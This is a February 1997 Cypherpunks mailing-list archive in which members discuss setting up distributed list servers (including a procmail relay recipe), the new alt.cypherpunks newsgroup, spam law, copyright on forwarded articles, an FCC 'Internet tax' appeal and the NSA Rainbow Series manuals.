setting up >>and operating such a remailer system is at least capable of basic skills. > > Well, loki at cyberpass.net has made the offer to host the entire >list... and Lance is certainly making money at it. While this would have >some problems in comparison with the distributed list idea (namely more of >a choke point), it would decidedly help. > >>> Another suggestion may be to set sendmail expire option to one day >>> instead of five so that messages that cannot be delivered would bounce >>> faster and not clog the queue. > >>I like this idea very much. Myself I would set it for like 4 hours or so and >>if it couldn't be delivered then bye bye. Another motivation for selective >>sites to operate as archives without themselves being remailers. > >>Another issue related to this is at what point to unsubscribe accounts. It >>seems to me that if the address times out some number of times it should be >>deleted. > >>Is anyone interested in acting as a mail-to-news gateway? > > > From markk at randomc.com Wed Feb 12 20:56:53 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 20:56:53 -0800 (PST) Subject: strange mails... Message-ID: <3.0.32.19970212235253.00571750@randomc.com> >From: harka at nycmetro.com >Date: Wed, 12 Feb 1997 23:14:12 -0500 >Subject: strange mails... >To: markk at randomc.com > >Hi Mark, > >I had a message from you in my Inbox, in which you requested to take you >off of any mailing list. Just for clarification: were you sending this >message to _me_ as a private mail or were you sending it to a list? > >Thanks and Ciao > >Harka > > > > From jer+ at andrew.cmu.edu Wed Feb 12 20:57:08 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 12 Feb 1997 20:57:08 -0800 (PST) Subject: New group In-Reply-To: <855767149.525716.0@fatmans.demon.co.uk> Message-ID: <0n0dvV200YUf04Xco0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- paul at fatmans.demon.co.uk writes: > > I pressed the URL alt.cypherpunks and my Netscape server said > > "no such thing" or words to that effect. > > The control message may take a few more hours to propogate, either > that or your newsadmin has rmgrouped it. The charter was clear and > concise and explained the issues so I don`t see why it should have > been rmgrouped. Can you mail me if it hasn`t been created by the time > you get this email and I`ll re-issue the cmsg. However, I`m sure it > was OK as Robert Hettinga (sp?) found it on his news server today... Yet another "me too," alt.cypherpunks is alive (dunno about well, time shall tell) on my news server. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwKe2Mkz/YzIV3P5AQGQYQMAkwiuqAV/PsdcCscHVbsT6rxoKMv63UQh ebBIUh9QnXxVqjxcv3dvoanYGrP1Ldyvza9GXgLlTBIwtAuC+Od026mcV0NljUT/ 9WSg3iaHdUBReHpXbTsOVF+a9lQp4fzP =Hfgq -----END PGP SIGNATURE----- From markk at randomc.com Wed Feb 12 20:57:18 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 20:57:18 -0800 (PST) Subject: your mail Message-ID: <3.0.32.19970212235318.00571750@randomc.com> >Subject: Re: your mail >To: markk at randomc.com (Mark Krell) >Date: Wed, 12 Feb 1997 20:59:32 -0600 (CST) >Reply-To: ichudov at algebra.com (Igor Chudov) >From: ichudov at algebra.com (Igor Chudov @ home) >X-No-Archive: yes >Organization: Bool Sheet Software > >I do not think that you are on one of my mailing list. > >If you think that you are, please send me one of the sample messages >WITH FULL HEADERS that came to you frm my list. > >I am willing to help you. > > - Igor. > > From attila at primenet.com Wed Feb 12 21:10:11 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 12 Feb 1997 21:10:11 -0800 (PST) Subject: (2)Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: Message-ID: <199702130508.WAA11432@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970212:1525 "Timothy C. May" said: +At 6:21 PM +0000 2/12/97, Attila T. Hun wrote: +> maybe relief is in sight; can we spell excedrin? +> +>on or about 970211:1433 educom at elanor.oit.unc.edu said: +> +>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL +> +>+A U.S. district court in Ohio has granted CompuServe's request for a +>+preliminary injunction barring Cyber Promotions Inc. from sending +>+unsolicited e-mail to its subscribers while the commercial provider +... +Were I a customer of CompuServe, I'd ask on what basis CompuServe was +intercepting e-mail to me. In fact, a CompuServe account holder has +made just this point: "I'll decide what's junk mail and what's not."]] + I could not agree more, in theory, except for the postage you discuss below which permits spammers greed to exceed responsibility, let alone the public interest. I am, of course, a theoretical anarchist; I believe I could put aside greed (and have) to be sufficiently altruistic to make a society of anarchists work (in a limited population model). However: "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." --Albert Einstein as long as we have a >30% third and fourth generation welfare class which the dogood liberal bleeders say we are obligated to sustain their breeding; and another 30% which are functionally illiterate, there is no hope for idealism. our "neighbors" have no idea how to spell anarchy, let alone understand the price of freedom. just because I would cut off the permanent welfare class at the knees, and disenfranchise the functionally illiterate if I had the chance, does not make anarchy any more feasible; it's just a more rigid police state for the havenots --again, something we do not need. sorry to be a pragmatic pessimist, but it went down hill with the 16th amendment and the Federal Reserve Act to benefit the Rockefellers, Vanderbilts, Rothschilds, Chases, etc. at our expense. +Having the court system involved in deciding what mail is valid and +what is not valid is not my idea of a free society. + again, you are correct except anarchy requires responsibility. free agency has its requirements and this is why junk fax was banned. too many members of our society can not spell anarchy or responsibility --their knowledge of vocabulary starts and ends with greed. +Having said this, the flaw remains that "junk mail" is "free" to the +sender. This is a flaw in the ontology of e-mail, and needs to be +fixed. Digital postage is one approach. probably cut down on our postings to cp as well! 32 cents to post? +I'm not holding my breath, but I sure don't want a "District Court" +deciding. I don't like the regulatory agencies either, but at least they are not Judge Roy Bean, Law West of the Pecos. unfortunately, until the irresponsible tone down their greed, we need the regulation to protect ourselves from the predators. in other words, I agree with you in my heart, but our society refuses to cooperate. ___________________________________________________________attila_____ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwKgzb04kQrCC2kFAQEK0AP+PBClPteXMYFpcfJaeYgP8c077LZwFE5i O2taYhGGY2oiuw5U2r3Y4Qv2P/8CsCtZ/eSrBlmvMTOrYEi2Le0fjiefAFKte2g4 FSJ67ttFC3gSQyj75r99TJ+roYnJzGgec9X5f/kOr3Z0m3Da6u+m/l7siNmDOPae RDWsxwmjcyM= =huRr -----END PGP SIGNATURE----- From tbray at textuality.com Wed Feb 12 21:11:13 1997 From: tbray at textuality.com (Tim Bray) Date: Wed, 12 Feb 1997 21:11:13 -0800 (PST) Subject: List for discussing many majordomos Message-ID: <199702130511.VAA29200@toad.com> some idiot subscribed me. I know how to use majordomo I know how to read mail headers Majordomo says that the address that it is sending this shit to is not on the list Much & all as I sympathize with the ethos and practice of cypherpunkery, please stop. I have asked in the proper approved way many times, and am still deluged. GET ME OFF THIS LIST! Thank you. From ichudov at algebra.com Wed Feb 12 21:11:26 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 12 Feb 1997 21:11:26 -0800 (PST) Subject: How to make majordomo request confirmations of subscriptions? Message-ID: <199702130511.VAA29241@toad.com> Hi All, I would like to set up my majordomo to request subscription confirmations from users, by sending them a cookie. Looking at the majordomo config files, I have not found such option. Ideally I would like to have a system that a) requires the new users confirm new subscriptions and b) once in a while as users to confirm their existing subscriptions. Is there any way to do it? Thank you. - Igor. From camcc at abraxis.com Wed Feb 12 21:11:35 1997 From: camcc at abraxis.com (Alec) Date: Wed, 12 Feb 1997 21:11:35 -0800 (PST) Subject: Re? Message-ID: <199702130511.VAA29279@toad.com> At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of : : :Attachment Converted: "c:\remove1.txt" : How, do you imagine, did you get on this God-forsaken list? Anger abounds. Is this Kismet that you are here now at this crucial moment of the list's evolution? Perhaps you have something to offer of which you are not aware. Avail yourself of our hospitality as we implode. Flee not. There is meaning to this. So our savants have told us. Speak the words to Majordomo at toad.com in the message panel (no quotes): "unsubscribe cypherpunks" Speak only thus. Bother us no more at our moment of transfiguration. Hail and farewell, Bro. From reece at taz.nceye.net Wed Feb 12 21:11:41 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Wed, 12 Feb 1997 21:11:41 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702130511.VAA29288@toad.com> Date: Wed, 12 Feb 1997 14:33:03 -0800 From: Greg Broiles Yes, I installed INN and ran a few hundred test messages through it last night. My machine will be on the net full-time Thursday or Friday. Will yours be ready then, too? We've got INN here. I created a cpunks.general group (as well as alt.cypherpunks) on taz.nceye.net and made both world-accessible. Our feed hasn't got alt.cypherpunks yet; is someone who has got it willing to feed it? (also, is there a consensus on what group names to use: new top-level hierarchy? cpunks or cypherpunks? or just the alt group, with the usual propagation and spam problems?) From markk at randomc.com Wed Feb 12 21:11:42 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 21:11:42 -0800 (PST) Subject: your mail Message-ID: <199702130511.VAA29289@toad.com> >Subject: Re: your mail >To: markk at randomc.com (Mark Krell) >Date: Wed, 12 Feb 1997 20:59:32 -0600 (CST) >Reply-To: ichudov at algebra.com (Igor Chudov) >From: ichudov at algebra.com (Igor Chudov @ home) >X-No-Archive: yes >Organization: Bool Sheet Software > >I do not think that you are on one of my mailing list. > >If you think that you are, please send me one of the sample messages >WITH FULL HEADERS that came to you frm my list. > >I am willing to help you. > > - Igor. > > From adam at homeport.org Wed Feb 12 21:11:49 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 21:11:49 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702130511.VAA29292@toad.com> Jim Choate wrote: | | Forwarded message: | | > Date: Wed, 12 Feb 1997 14:22 EDT | > From: "E. Allen Smith" | | > Umm... because you'll eventually accumulate _lots_ of addresses | > that don't work, which will slow things down tremendously in sending | > mail out? | | The current subscription is between 1,000 and 2,000 I don't think that is | _lots_. All we need to do is count the number of bounces per address in | a given period, the SSZ end is trying to decide between weekly or | monthly cleanings, and then clear that address. At no point would I need | to archive the original bounce. qmail has bounce management software for its list management tools. (bounceman) "Russell Nelson has a bounce manager which totally eliminates any need to deal with bounces." www.qmail.org -- "It is seldom that liberty of any kind is lost all at once." -Hume From jer+ at andrew.cmu.edu Wed Feb 12 21:11:55 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 12 Feb 1997 21:11:55 -0800 (PST) Subject: New group Message-ID: <199702130511.VAA29299@toad.com> -----BEGIN PGP SIGNED MESSAGE----- paul at fatmans.demon.co.uk writes: > > I pressed the URL alt.cypherpunks and my Netscape server said > > "no such thing" or words to that effect. > > The control message may take a few more hours to propogate, either > that or your newsadmin has rmgrouped it. The charter was clear and > concise and explained the issues so I don`t see why it should have > been rmgrouped. Can you mail me if it hasn`t been created by the time > you get this email and I`ll re-issue the cmsg. However, I`m sure it > was OK as Robert Hettinga (sp?) found it on his news server today... Yet another "me too," alt.cypherpunks is alive (dunno about well, time shall tell) on my news server. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwKe2Mkz/YzIV3P5AQGQYQMAkwiuqAV/PsdcCscHVbsT6rxoKMv63UQh ebBIUh9QnXxVqjxcv3dvoanYGrP1Ldyvza9GXgLlTBIwtAuC+Od026mcV0NljUT/ 9WSg3iaHdUBReHpXbTsOVF+a9lQp4fzP =Hfgq -----END PGP SIGNATURE----- From ravage at EINSTEIN.ssz.com Wed Feb 12 21:11:57 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 21:11:57 -0800 (PST) Subject: Private property rights on cypherpunks (fwd) Message-ID: <199702130511.VAA29300@toad.com> Forwarded message: > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST) > From: Declan McCullagh > Subject: Private property rights on cypherpunks > I forward articles to cypherpunks that are copyrighted by my employers, or > magazines like Playboy and Wired for which I write freelance pieces. > > I like to think these articles have some value. I will not forward any of > them, nor would I be able to, if they magically became "public domain." > > "De facto public domain" is an idea that deserves to die. Now. Really? Do you have a priori permission from your publisher, who owns those stories, to distribute them elsewhere? If not please explain why I or any other person should be a willing acomplice? You could also still post them anonymously. You could also simply include a 'fair use' proviso somewhere. In such a case it would be in your publishers best interest to require a copyright notice. In that case there is no confusion about who owns those rights. Especialy when you consider the traffic is global which means your 'implied copyright' here don't mean squat there. I suspect just about every place that recognizes a copyright recognizes an explicit one. Instead of "De facto public domain should die" how about, "Implied a priori contracts should die now" Lord a mighty, haven't you heard? Information wants to be free. Let the thing go. If you really think your words are something that will someday win a Nobel or make Mr. Bill look like a pauper note it explicitly. However, it would seem to me that implicit copyright works against the axiomatic crypto-icon. Jim Choate CyberTects ravage at ssz.com From Robalini at aol.com Wed Feb 12 21:11:58 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Wed, 12 Feb 1997 21:11:58 -0800 (PST) Subject: FIGHT THE INTERNET TAX Message-ID: <199702130511.VAA29301@toad.com> Subj: [Fwd: New Internet Tax--Can YOU Afford It?] Date: Wed, 12 Feb, 1997 05:00 PM EDT From: pentiumpower at internetx.net You have until tomorrow to protest the new Internet "tax" which the FCC will be entertaining. Here is the message which I sent out to everyone that I could. I suggest that you spread this message as QUICKLY as possible. It is extremely important the FCC be bombarded by messages and then maybe, just MAYBE, we'll beat this thing! This is a VERY SERIOUS ISSUE!!!! It is extremely important and will determine whether or not the Internet continues to be available to all of us or just those who can afford massive fees. Figure it out, $.10 per minute is $6.00 per hour and this doesn't include your present monthly fees! Are YOU going to be willing or able to pay it! The following is a message which I sent out a week ago. The Federal Communications Commission (FCC) is entertaining the possibility of permitting the telecommunications industry to impose a per minute charge on Internet Service Providers (ISPs). This charge will, obviously, be passed directly on to the user; US! Needless to say, this new "tax" will increase the cost of access to the Internet tremendously! I strongly believe that this will curtail the growth of the Internet dramatically. At a time when access to knowledge and learning is at an all time high, this additional "tax" will impose an incredible burden on the average user, to say nothing of very likely forcing many smaller ISPs out of business. In addition, this will cause an extremely adverse affect on the rural user who does not have toll free access to the larger ISPs, i.e., AOL, Prodigy and others. If you feel as I do, drop an Email message to the FCC who has requested comments. Their address is: mailto:isp at fcc.gov You may "click" directly on the address which will bring up an Email message box in most programs. Add your comments, pro or con, and send it off! Deadline for all comments is Thursday, February 13, 1997! My message follows. ------------------------------------------------------------------------ Allowing the imposition of a per minute charge on Internet use will not only destroy the growth of the Internet, it flies in the face of improving the education of our children. Published figures indicate that--for the first time in decades--the television is being replaced by the computer. This growth, undoubtedly, will be wiped out by this proposed new "tax". In addition, to virtually eliminating access to sources of information over the entire world, no small Internet Service Provider (ISP) will be able to compete with the larger ones who will be able to negotiate lower rates. Another "kick in the pants" to small business! I summarily reject allowing the telecommunications industry to "reach into the pockets" of those of us who use the Internet (and rely on it) for our access to information! This single act--if permitted--will set back the "information age" decades! I IMPLORE YOU NOT PERMIT THE IMPOSITION OF THIS NEW TAX"!!!!!! ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | Put Forth: | | "Your Best Image" | | with | | Computer System Configuration & Assistance | | Business Consulting, Guidance & Management Services | | Employer/Employee Human Relations Counseling | | Technical & Business Writing & Graphic Arts | | REsumEs, Interview Training & Employment Counseling | | | | Professional Business Consultants with over 30 Years Experience! | | | | Post Office Box 1438 Telephone (406) 642-3900 | | Hamilton, Montana 59840-1438 Fax (406) 642-3993 | | | | Email World Wide Web | | mailto:info at yourbestimage.com http://www.yourbestimage.com | |______________________________________________________________________| | Because e-mail can be altered electronically, | | the integrity of this communication cannot be guaranteed. | From ichudov at algebra.com Wed Feb 12 21:12:00 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 12 Feb 1997 21:12:00 -0800 (PST) Subject: subscribe Message-ID: <199702130512.VAA29302@toad.com> Jim Choate wrote: > > > Hi Igor, > > > I will not impact me negatively. I do, however, suggest very strongly > > that hosts should be subscribed to each other thgrough another mechanism > > and not majordomo, in order to prevent mail loops, header rewriting and such. > > Suggestions? What I had in mind was that any messages that get sent on > cpunks at ssz.com get sent over to algebra. One mechanism I would like to play > with is a 'linked list' of remailers. Remailer A sends only to B and > receives only from C... > > > A > ^ v > C < B > Then to stop loops B deletes all outgoing mail from B. Since email can be > forwarded from many sites the search must traverse the entire forward chain > killing the message if B appears as a source. I suspect a simple procmail sort > can accomplish this. My next step is to brush up on my procmail. I hope to > have something in a couple of days that will allow you to subscribe > cpunks at algebra to cpunks at ssz and both ends will be filtering. Here's how I do it (it is pretty close to your proposal): 1) I delete duplicate messages (by looking up the database of message-IDs) right away 2) I bounce all incoming messages to several other list servers 3) I pipe the article to majordomo for distribution. Note that majordomo changes headers and I wuold like to feed other servers with UNCHANGED articles. Here's the .procmailrc that takes care of this: (OTHER_HOSTS will be redefined to include, e.g., cypherpunks at ssz.com) # Please check if all the paths in PATH are reachable, remove the ones that # are not. # # NOTE: I use lockfiles extensively (and even excessively) because # I do not want to overburden the system. Since I am on a # PPP link that is not always on, sometimes large amounts of # submissions come in simultaneously and that may impair # performance of the overall system. You do not REALLY need # to use these lockfiles otherwise. ################################################################### PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin MAILDIR=$HOME/Mail # You'd better make sure it exists DEFAULT=$MAILDIR/mbox # VERBOSE=ON LOGFILE=$MAILDIR/from LOCKFILE=$HOME/.lockmail OTHER_HOSTS="cypherpunks at zzzz.com" :0 c $MAILDIR/allmail ############################################################ mailbombing ############################################################ end mailbombing :0 * ^TOcypherpunks * !^X-Loop: * !FROM_MAILER * !FROM_DAEMON { # # This recipe removes duplicates! # :0 Wh: msgid.lock | formail -D 128000 msgid.cache # send it to all other hosts :0 c !$OTHER_HOSTS # add X-Loop: :0 fhw | formail -I "X-Loop: cypherpunks at algebra.com" # send it to people :0 c | cypherpunks-send-subscribers # Accounting, logging :0 | cypherpunks-accounting } :0: * ^TOcypherpunks-request $DEFAULT # all the rest is trash :0 $DEFAULT # thats where it should be #/dev/null > Another nice advantage of this architecture is that 'rings' of remailers can > be interconnected by simply sending output to more than one site. Might even > be a good stability rule, "Never have a remailer send to more than 1 machine > in its 'own' ring". I see no limit other than resources that would limit the > number of rings an individual remailer might be in. A very good point. > The address is 'cypherpunks at ssz.com' but as alluded to above. I would like > to let it run 1 way for a day or so to get an idea of the stability of our > network link. You might consider creating a bogus username on your end. > Subscribe that user to the SSZ remailer and to your own mail list. Then use > procmail to filter all outgoing mail of that user since its incoming would > be from your list and its outgoing would go to mine, which then forwards > them to your list. We might want to call the bogus user 'gatekeeper'. Yes, we really should make darn sure that no loops are poissible before inviting people to subscribe to our lists. > If its agreeable lets get together on the cpunks-hosts list tomorrow and > discuss this a little more. > > If you don't mind, please forward this to the cpunks at toad list with your > responces. I would like to expose it to a little criticism. > - Igor. From ravage at EINSTEIN.ssz.com Wed Feb 12 21:12:59 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 21:12:59 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702130512.VAA29374@toad.com> Hi, We have established the first link between cypherpunks at ssz.com and cypherpunks at algebra.com. Testing will continue for about 24 hours and we hope to have the link going two-way within a couple of days. If testing proceeds at the current pace we should be ready to go for a 3-way link if anyone will be ready this weekend. If we can get a 3-way going we should be ready for prime time. Jim Choate CyberTects ravage at ssz.com From richieb at teleport.com Wed Feb 12 21:13:17 1997 From: richieb at teleport.com (Rich Burroughs) Date: Wed, 12 Feb 1997 21:13:17 -0800 (PST) Subject: New group Message-ID: <199702130513.VAA29409@toad.com> At 06:38 AM 2/12/97 -0800, Dale Thorn wrote: >Paul Bradley wrote: >> Well despite the obvious problems of propogation I thought it was time >> someone actually did something to get us a new home, even if it`s only >> temporary. So I have created alt.cypherpunks... See you all over on >> usenet!... > >I pressed the URL alt.cypherpunks and my Netscape server said >"no such thing" or words to that effect. It has to be created on your local server, Dale. Wait a bit, and if doesn't show up speak to someone st your ISP. Rich ______________________________________________________________________ Rich Burroughs richieb at teleport.com http://www.teleport.com/~richieb U.S. State Censorship Page at - http://www.teleport.com/~richieb/state dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause From markk at randomc.com Wed Feb 12 21:13:20 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 21:13:20 -0800 (PST) Subject: No Subject Message-ID: <199702130513.VAA29410@toad.com> --=====================_855820976==_ Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: you are forwarding messages to me... stop it. remove markk at ra1.randomc.com from your mail list... all of a sudden I'm getting mail from bunches of people i don't know and who don't know me. help me out... go to the place where you got my email address and have them correct their links. Thank you. markk --=====================_855820976==_-- From adam at homeport.org Wed Feb 12 21:13:21 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 21:13:21 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <199702130513.VAA29411@toad.com> Aleph1 (Levy) is a grey hatted hacker. Amongst other things, he moderates the bugtraq mailing list. Decent fellow. Adam Anil Das wrote: | With all this talk about relocating the home of cypherpunks, I decided to | see if any second level domains are registered under the cypherpunks | name. | | Both cypherpunks.org and cypherpunks.com are registered by one | Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list | though. Anybody knows more about this? | | -- | Anil Das | -- "It is seldom that liberty of any kind is lost all at once." -Hume From adam at homeport.org Wed Feb 12 21:13:29 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 21:13:29 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130513.VAA29421@toad.com> In fact, the Identity Agnostic bits were Doug's, and they were focused on the idea that a bank that did not implement blinding could be used in an anonymous fashion by someone willing to violate the patents. /* Blind(*coin) here would violate Chaum's patent, so we * can't do that */ Adam Tim May wrote: | At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks at toad.com list): | In August of '95, Doug Barnes released a long article on "Identity | Agnostic" systems. (His article is no longer at the www.communities.com Web | site, so I can't refer you to it. Maybe he'll post it again.) | In fact, Ian showed, the Chaum patents on blinding are NOT USED by the | Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in | some cases, not in other cases). This means that "anyone a mint" does not | violate any of the Chaum/Digicash patents, and "mint clients" are likely to | be written by third parties. (The _customer_ is presumably on the honor | system to abide by the Chaum patents...except the patents are only being | licensed to banks...go figure.) | | (This is where, as I recall, Doug's "agnostic" system came in...it is | possible his thinking was similar to Ian's...I don't have Doug's paper | handy.) -- "It is seldom that liberty of any kind is lost all at once." -Hume From declan at pathfinder.com Wed Feb 12 21:13:29 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 12 Feb 1997 21:13:29 -0800 (PST) Subject: Private property rights on cypherpunks Message-ID: <199702130513.VAA29422@toad.com> I forward articles to cypherpunks that are copyrighted by my employers, or magazines like Playboy and Wired for which I write freelance pieces. I like to think these articles have some value. I will not forward any of them, nor would I be able to, if they magically became "public domain." "De facto public domain" is an idea that deserves to die. Now. -Declan On Wed, 12 Feb 1997, Jim Choate wrote: > > Forwarded message: > > > Date: Tue, 11 Feb 1997 22:46:03 -0800 > > From: Greg Broiles > > Subject: List for discussing many majordomos > > > Yes, this is a good idea. One of the proponents of the "many majordomos" > > project apparently has plans to impose his own ideas about intellectual > > property on the project, and this seems like a pretty serious thing for a > > setup that's allegedly going to prevent censorship. We need a place to > > discuss this. > > Please explain how making submissions de facto public domain censors > anyone? > > > Jim Choate > CyberTects > ravage at ssz.com > > > From moroni at scranton.com Wed Feb 12 21:13:30 1997 From: moroni at scranton.com (Moroni) Date: Wed, 12 Feb 1997 21:13:30 -0800 (PST) Subject: NSA Rainbow Series. Message-ID: <199702130513.VAA29426@toad.com> Zip,NAda,Nothing. And they have more too. They were backlogged so some people haven't gotten their mail since I last posted about. I called yesterday about my videos and posters and lo and behold I received my two tech manuals today. The people who answer the lines are friendly and usually pretty industrious in getting things out or done. By the way there is supposed to be a department split in the near future so I don't know if manuals will be in one department and posters in another or what. On Wed, 12 Feb 1997, Tobin Fricke wrote: > Date: Wed, 12 Feb 1997 18:03:35 -0800 > From: Tobin Fricke > To: Moroni , Genocide > Cc: Cypherpunks Mailing List > Subject: Re: NSA Rainbow Series. > > > 1-800-688-6115 press 0 or just wait for the operator. My second > > order consisting of posters and video has not arrived either. It has been > > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when > > you order the Rainbow series you will be getting a large box.Their are > > something like 30+ booklets in the series. > > There is a set of security posters that include a Santa > > poster.And there is also a video with two films on it (Acess Ins and outs > > adb Acess Control). > > How much does all this stuff from the NSA cost? > > Tobin Fricke > (please reply privately, tobin at mail.edm.net) > > xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx x No success can compensate for failure in the home. x x x xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx From tcmay at got.net Wed Feb 12 21:13:35 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 21:13:35 -0800 (PST) Subject: NSA Rainbow Series. Message-ID: <199702130513.VAA29427@toad.com> At 9:53 PM -0500 2/12/97, Moroni wrote: > Zip,NAda,Nothing. And they have more too. They were backlogged so >some people haven't gotten their mail since I last posted about. I called >yesterday about my videos and posters and lo and behold I received my two >tech manuals today. > The people who answer the lines are friendly and usually pretty >industrious in getting things out or done. > By the way there is supposed to be a department split in the near >future so I don't know if manuals will be in one department and posters in >another or what. By the way, I say "FORGET IT" to the NSA Rainbow manuals. A worthless pile of crap. I subscribed to them several years ago, got the Big Box of Manuals, and then got new editions every few months for several years. None of them were ever useful to me in even the slightest way. They are written in "bureaucratese," so they're not even fun reading. If they're not on the Web by now it just shows what a sicko government agency the NSA and NCSA is, and if they _are_ on the Web, you'll see what I mean quickly enough. Even for "novelty value" ("Hey, Tim, the mail guy just delivered a package from the National Security Agency!") the books are worth very little. Do a tree a favor and just say No to the Rainbow series. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From omegam at cmq.com Wed Feb 12 21:13:35 1997 From: omegam at cmq.com (Omegaman) Date: Wed, 12 Feb 1997 21:13:35 -0800 (PST) Subject: Newgroup -- distributed mailing list on the way? Message-ID: <199702130513.VAA29428@toad.com> The following message is a courtesy copy of an article that has been posted as well. It appears that the distributed mailing-list effort is well underway. Experiments by Igor Chudov and Jim Choate are progressing. The next few weeks should iron out the kinks.(over-optimism?) Lance Cottrell (mixmaster author) has also agreed to host the list, the entire list if need-be. Although his posts on the cypherpunks list indicate that he favors the distributed list approach. Lance is also in the unique position of having the computing resources to feed the list to and from alt.cypherpunks. Furthermore, Lance seems to be favorable to this idea as well. However, he needs help in getting up to speed on just how to create and run this news-to-mail/mail-to-news gateway. What this means is that the same list will be propagated through multiple sources, making the destruction or loss of any one source non-catastrophic. It is also the classic net approach of routing around censorship channels. Furthermore, users who cannot access the alt.* hierarchy or easily read newsgroups have the option of subscribing to mailing lists and receiving the same uncensored feed. This also means that users will have a maximum amount of resources at their disposal to better experience the list and eliminate the net's inevitable spam and noise. Users who have access to or prefer powerful newsreaders and NoCeM's can use them at will. Users who have procmail, Pegasus Mail, Eudora Mail and other email-filtering schemes can use those powerful tools. It is likely that the cypherpunks list/group will remain a target of spammers and disruptors. The controversial topics are bound to generate noise. The entrance of unitiated individuals via Usenet is bound to create some interesting and sometimes aggravating discussions as well as the inevitable re-hashing of some old issues. The unfiltered, uncensored, and multi-homed list/group leaves the responsibility where it belongs, in the lap of end-user. Ignore the noise and the noisemakers. Defeat the disruptors by avoiding them. Accept your responsiblity and contribute Signal whenever you can. "Arise! You have nothing to lose but your barbed-wire fences." git along 'lil doggies From omegam at cmq.com Wed Feb 12 21:15:16 1997 From: omegam at cmq.com (Omegaman) Date: Wed, 12 Feb 1997 21:15:16 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702130515.VAA29506@toad.com> Jim Choate writes: > > Hi, > > We have established the first link between cypherpunks at ssz.com and > cypherpunks at algebra.com. Testing will continue for about 24 hours and we > hope to have the link going two-way within a couple of days. > > If testing proceeds at the current pace we should be ready to go for a 3-way > link if anyone will be ready this weekend. If we can get a 3-way going we > should be ready for prime time. Jim, I suggest getting in touch with Lance Cottrell (loki at Cyberpass.net) ASAP and coordinating with him as he has the facilities to host the entire list, but desires the distributed approach. He is currently gating Cypherpunks-unedited at toad.com to subscribers of cypherpunks at Cyberpass.net. He would make an excellent third link in the chain and seems to be willing. Furthermore, he has also indicated that he is eventually interested in gating back and forth to the newly created and already-active alt.cypherpunks. He needs help and information on just how to do that, though. This would complete the circle, syncing all the available routes to cypherpunks. All will benefit by having the choice of mail-filters and/or newsreading facilities to experience the unfiltered/unedited/unstoppable list. Hope the experiments prove sturdy and wish all best of luck. me -- _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ From ichudov at algebra.com Wed Feb 12 21:15:17 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 12 Feb 1997 21:15:17 -0800 